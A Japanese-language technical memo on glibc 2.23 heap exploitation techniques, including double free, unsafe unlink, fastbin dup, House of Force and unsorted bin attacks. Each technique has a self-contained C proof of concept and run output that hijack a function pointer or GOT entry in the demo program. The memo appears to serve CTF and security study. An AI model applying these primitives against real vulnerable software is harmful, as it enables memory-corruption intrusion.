glibc malloc exploit techniques
malloc系exploitテクニックのうち、応用しやすそうなもののメモ。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
double free vulnerability and overlapping chunks
double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。
/* double_free.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main() { puts("[+] allocate p1"); char *p1 = malloc(0x80); printf("p1 = %p\n", p1); puts("\n[+] free p1"); free(p1); puts("\n[+] allocate p2"); char *p2 = malloc(0x90); printf("p2 = %p\n", p2); puts("\n[+] p1 double free"); free(p1); puts("\n[+] allocate p3"); char *p3 = malloc(0xa0); printf("p3 = %p\n", p3); puts("\n[+] now p2 and p3 are overlapped"); memset(p2, 'A', 0x80); memset(p3, 'B', 0x80); printf("*p2 = %s\n", p2); printf("*p3 = %s\n", p3); puts("\n[+] allocate p4, p5, p6"); char *p4 = malloc(0xb0); char *p5 = malloc(0xc0); char *p6 = malloc(0xd0); printf("p4 = %p\n", p4); printf("p5 = %p\n", p5); printf("p6 = %p\n", p6); puts("\n[+] free p5 and p2"); free(p5); free(p2); puts("\n[+] leak heap address via p3"); printf("*p3 = %p\n", *(void **)p3); printf("heap base = %p\n", *(void **)p3 - 0x580); puts("\n[+] free p6"); free(p6); puts("\n[+] leak libc address via p3: &(main_arena->top)"); printf("*p3 = %p\n", *(void **)p3); printf("libc base = %p\n", *(void **)p3 - 0x3c3b78); return 0; }
$ gcc double_free.c -o double_free $ ./double_free [+] allocate p1 p1 = 0x235a420 [+] free p1 [+] allocate p2 p2 = 0x235a420 [+] p1 double free [+] allocate p3 p3 = 0x235a420 [+] now p2 and p3 are overlapped *p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB [+] allocate p4, p5, p6 p4 = 0x235a4d0 p5 = 0x235a590 p6 = 0x235a660 [+] free p5 and p2 [+] leak heap address via p3 *p3 = 0x235a580 heap base = 0x235a000 [+] free p6 [+] leak libc address via p3: &(main_arena->top) *p3 = 0x7f8990ea9b78 libc base = 0x7f8990ae6000
ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。
allocate large chunks in heap segment
通常0x20000バイト(M_MMAP_THRESHOLD
)以上のメモリをallocすると、その領域はmmapにより確保される。
しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。
/* large_chunks_in_heap.c */ #include <stdio.h> #include <stdlib.h> int main() { puts("[+] allocate p1"); char *p1 = malloc(0x21000); printf("p1 = %p\n", p1); puts("\n[+] free p1"); free(p1); puts("\n[+] allocate p2, p3, p4"); char *p2 = malloc(0x21000); printf("p2 = %p\n", p2); char *p3 = malloc(0x21000); printf("p3 = %p\n", p3); char *p4 = malloc(0x21000); printf("p4 = %p\n", p4); return 0; }
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap $ ./large_chunks_in_heap [+] allocate p1 p1 = 0x7fbc43aa0010 [+] free p1 [+] allocate p2, p3, p4 p2 = 0x16db420 p3 = 0x16fc430 p4 = 0x171d440
unsafe unlink attack
古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。
1413 /* Take a chunk off a bin list */ 1414 #define unlink(AV, P, BK, FD) { \ 1415 FD = P->fd; \ 1416 BK = P->bk; \ 1417 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ /* <- here */ 1418 malloc_printerr (check_action, "corrupted double-linked list", P, AV); \ 1419 else { \ 1420 FD->bk = BK; \ 1421 BK->fd = FD; \ 1422 if (!in_smallbin_range (P->size) \ 1423 && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ 1424 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ 1425 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ 1426 malloc_printerr (check_action, \ 1427 "corrupted double-linked list (not small)", \ 1428 P, AV); \ 1429 if (FD->fd_nextsize == NULL) { \ 1430 if (P->fd_nextsize == P) \ 1431 FD->fd_nextsize = FD->bk_nextsize = FD; \ 1432 else { \ 1433 FD->fd_nextsize = P->fd_nextsize; \ 1434 FD->bk_nextsize = P->bk_nextsize; \ 1435 P->fd_nextsize->bk_nextsize = FD; \ 1436 P->bk_nextsize->fd_nextsize = FD; \ 1437 } \ 1438 } else { \ 1439 P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ 1440 P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ 1441 } \ 1442 } \ 1443 } \ 1444 }
しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。
/* unsafe_unlink.c */ #include <stdio.h> #include <stdlib.h> void jackpot() { puts("jackpot!"); } char *p; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p and p1"); p = malloc(0x40); char *p1 = malloc(0x80); printf("p = %p\n", p); printf("p1 = %p\n", p1); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] abuse p overflow"); *(void **)(p+0x10) = (void *)&p-0x18; *(void **)(p+0x18) = (void *)&p-0x10; *(void **)(p+0x40) = 0x40; *(void **)(p+0x48) = 0x90; printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18); printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10); printf("p1->prev_size = %p\n", *(void **)(p1-0x10)); printf("p1->size = %p\n", *(void **)(p1-0x8)); puts("\n[+] free p1 (p <- &p-0x18)"); free(p1); printf("p = %p\n", p); puts("\n[+] modify p and write *p"); *(void **)(p+0x18) = 0x601028; /* printf@got */ *(void **)p = jackpot; printf("p = %p\n", p); return 0; }
$ gcc unsafe_unlink.c -o unsafe_unlink unsafe_unlink.c: In function ‘main’: unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x40) = 0x40; ^ unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x48) = 0x90; ^ unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p+0x18) = 0x601028; /* printf@got */ ^ $ ./unsafe_unlink &p = 0x601058 [+] allocate p and p1 p = 0x20bc420 p1 = 0x20bc470 p1->prev_size = (nil) p1->size = 0x91 [+] abuse p overflow p->fd->bk = 0x601058 p->bk->fd = 0x601058 p1->prev_size = 0x40 p1->size = 0x90 [+] free p1 (p <- &p-0x18) p = 0x601040 [+] modify p and write *p jackpot!
追記
上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。
fastbins unlink attack
通常0x80=128バイト(M_MXFAST
)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。
さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->size
が正しいかどうかのみとなる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。
/* fastbins_unlink.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } void *n = 0x51; void (*p)() = leave; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p1, p2"); char *p1 = malloc(0x20); char *p2 = malloc(0x40); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); puts("\n[+] free p2"); free(p2); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x28) = 0x51; *(void **)(p1+0x30) = (void *)&p - 0x10; printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("p2->fd = %p\n", *(void **)(p2+0x0)); puts("\n[+] unlink p2"); char *p3 = malloc(0x40); printf("p3 = %p\n", p3); puts("\n[+] get target memory"); char *p4 = malloc(0x40); printf("p4 = %p\n", p4); *(void **)p4 = jackpot; p(); return 0; }
$ gcc fastbins_unlink.c -o fastbins_unlink fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *n = 0x51; ^ fastbins_unlink.c: In function ‘main’: fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x28) = 0x51; ^ $ ./fastbins_unlink &p = 0x601058 [+] allocate p1, p2 p1 = 0x1ac6420 p2 = 0x1ac6450 [+] free p2 [+] abuse p1 overflow p2->size = 0x51 p2->fd = 0x601048 [+] unlink p2 p3 = 0x1ac6450 [+] get target memory p4 = 0x601058 jackpot!
fastbin dup into stack
fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。
したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。
これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd
を書き換えることでfastbins unlink attackを行うことができる。
なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。
/* fastbin_dup_into_stack.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } void *n = 0x51; void (*p)() = leave; int main() { printf("&p = %p\n", &p); puts("\n[+] allocate p1, p2, p3"); char *p1 = malloc(0x40); char *p2 = malloc(0x40); char *p3 = malloc(0x40); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); puts("\n[+] free p1, p2, p1"); free(p1); free(p2); free(p1); puts("\n[+] allocate p4, p5"); char *p4 = malloc(0x40); char *p5 = malloc(0x40); printf("p4 = %p\n", p4); printf("p5 = %p\n", p5); puts("\n[+] write p4->fd"); *(void **)p4 = (void *)&p - 0x10; printf("p4->size = %p\n", *(void **)(p4-0x8)); printf("p4->fd = %p\n", *(void **)p4); puts("\n[+] unlink p4 by allocating p6"); char *p6 = malloc(0x40); printf("p6 = %p\n", p6); puts("\n[+] get target memory"); char *p7 = malloc(0x40); printf("p7 = %p\n", p7); *(void **)p7 = jackpot; p(); return 0; }
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion] void *n = 0x51; ^ $ ./fastbin_dup_into_stack &p = 0x601058 [+] allocate p1, p2, p3 p1 = 0x1e8e420 p2 = 0x1e8e470 p3 = 0x1e8e4c0 [+] free p1, p2, p1 [+] allocate p4, p5 p4 = 0x1e8e420 p5 = 0x1e8e470 [+] write p4->fd p4->size = 0x51 p4->fd = 0x601048 [+] unlink p4 by allocating p6 p6 = 0x1e8e420 [+] get target memory p7 = 0x601058 jackpot!
chunk size overwrite attack
隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。
/* chunk_size_overwrite.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } int main() { puts("[+] allocate p1, p2, p3"); char *p1 = malloc(0x80); char *p2 = malloc(0x80); void (**p3)() = malloc(sizeof(void *)); *p3 = leave; printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); printf("p2->size = %p\n", *(void **)(p2-0x8)); printf("*p3 = %p\n", *p3); puts("\n[+] free p2"); free(p2); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x88) = 0x1001; printf("p2->size = %p\n", *(void **)(p2-0x8)); puts("\n[+] allocate a large chunk"); char *p4 = malloc(0x200); printf("p4 = %p\n", p4); puts("\n[+] overwrite *p3"); *(void **)(p4+0x90) = jackpot; printf("*p3 = %p\n", *p3); (*p3)(); return 0; }
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite chunk_size_overwrite.c: In function ‘main’: chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x88) = 0x1001; ^ $ ./chunk_size_overwrite [+] allocate p1, p2, p3 p1 = 0x8ca420 p2 = 0x8ca4b0 p3 = 0x8ca540 p2->size = 0x91 *p3 = 0x4005f6 [+] free p2 [+] abuse p1 overflow p2->size = 0x1001 [+] allocate a large chunk p4 = 0x8ca4b0 [+] overwrite *p3 *p3 = 0x400607 jackpot!
House of Force attack
heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。
- top chunkのアドレスが推測可能
- top chunkのサイズを任意の値に書き換えられる
- その後任意のサイズのmallocを呼ぶことができる
また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。
/* house of force.c */ #include <stdio.h> #include <stdlib.h> void leave() { puts("exiting..."); } void jackpot() { puts("jackpot!"); } unsigned long junk = 0xdeadbeef; void (*p)() = leave; int main() { printf("&p = %p\n", &p); printf("junk = %lx\n", junk); puts("\n[+] allocate p1"); char *p1 = malloc(0x40); char *top_chunk = p1+0x40; printf("p1 = %p\n", p1); printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] abuse p1 overflow"); *(void **)(p1+0x48) = -1; printf("top chunk size = %p\n", *(void **)(top_chunk+0x8)); puts("\n[+] allocate a huge chunk (break &p-0x8)"); long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10); char *p2 = malloc(newsize); printf("junk = %lx\n", junk); puts("\n[+] get target memory"); char *p3 = malloc(0x80); printf("p3 = %p\n", p3); if ((long)&p % 0x10 == 0) { *(void **)p3 = jackpot; } else { *(void **)(p3+0x8) = jackpot; } p(); return 0; }
$ gcc house_of_force.c -o house_of_force house_of_force.c: In function ‘main’: house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion] *(void **)(p1+0x48) = -1; ^ $ ./house_of_force &p = 0x601050 junk = deadbeef [+] allocate p1 p1 = 0x117f420 top chunk size = 0x20ba1 [+] abuse p1 overflow top chunk size = 0xffffffffffffffff [+] allocate a huge chunk (break &p-0x8) junk = b7e419 [+] get target memory p3 = 0x601050 jackpot!
unsorted bin attack
fastbin chunkではないchunk(サイズがM_MXFAST
以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top)
)に書き換えることができる。
/* unsorted_bin.c */ #include <stdio.h> #include <stdlib.h> unsigned long target = 0xdeadbeef; int main(){ printf("target = %lx\n", target); puts("\n[+] allocate p1, p2, p3"); char *p1 = malloc(0x80); char *p2 = malloc(0x90); char *p3 = malloc(0xa0); printf("p1 = %p\n", p1); printf("p2 = %p\n", p2); printf("p3 = %p\n", p3); puts("\n[+] free p2"); free(p2); puts("\n[+] abusing p1 overflow"); *(void **)(p1+0x98) = (void *)&target-0x10; puts("\n[+] allocate p4 with the same size of p2"); char *p4 = malloc(0x90); printf("p4 = %p\n", p4); puts("\n[+] target is overwritten with a large number: &(main_arena->top)"); printf("target = %lx\n", target); return 0; }
$ gcc unsorted_bin.c -o unsorted_bin $ ./unsorted_bin target = deadbeef [+] allocate p1, p2, p3 p1 = 0x1d60420 p2 = 0x1d604b0 p3 = 0x1d60550 [+] free p2 [+] abusing p1 overflow [+] allocate p4 with the same size of p2 p4 = 0x1d604b0 [+] target is overwritten with a large number: &(main_arena->top) target = 7fd47489eb78
更新履歴
- 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
- 2018/01/24: fastbin dup into stackを追記
関連リンク
- Glibc malloc internal
- shellphish/how2heap: A repository for learning various heap exploitation techniques.
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap
- katagaitai CTF勉強会 #5 pwnables編 - PlaidCTF 2015 Pwnable620 tp
- HITCON CTF Quals 2016 Writeup - ShiftCrops つれづれなる備忘録
- Advanced Heap Exploitation: 0CTF 2015 'freenote' writeup
- BCTF 2016 writeup - しゃろの日記
- Heap overflow using Malloc Maleficarum | sploitF-U-N
- gb_master's /dev/null – … and I said, "Hello, Satan. I believe it's time to go."
- The macabre dance of memory chunks | This is Security :: by Stormshield
- 杨坤:掘金CTF ——CTF中的内存漏洞利用技巧, Geekon 2015 | Network and Information Security Lab @ Tsinghua University
- 0CTF 2016 - Zerostorage Writeup - BrieflyX's Base
- Pwning My Life: HITCON CTF Qual 2016 - House of Orange Write up
- Advanced Heap Overflow Exploitation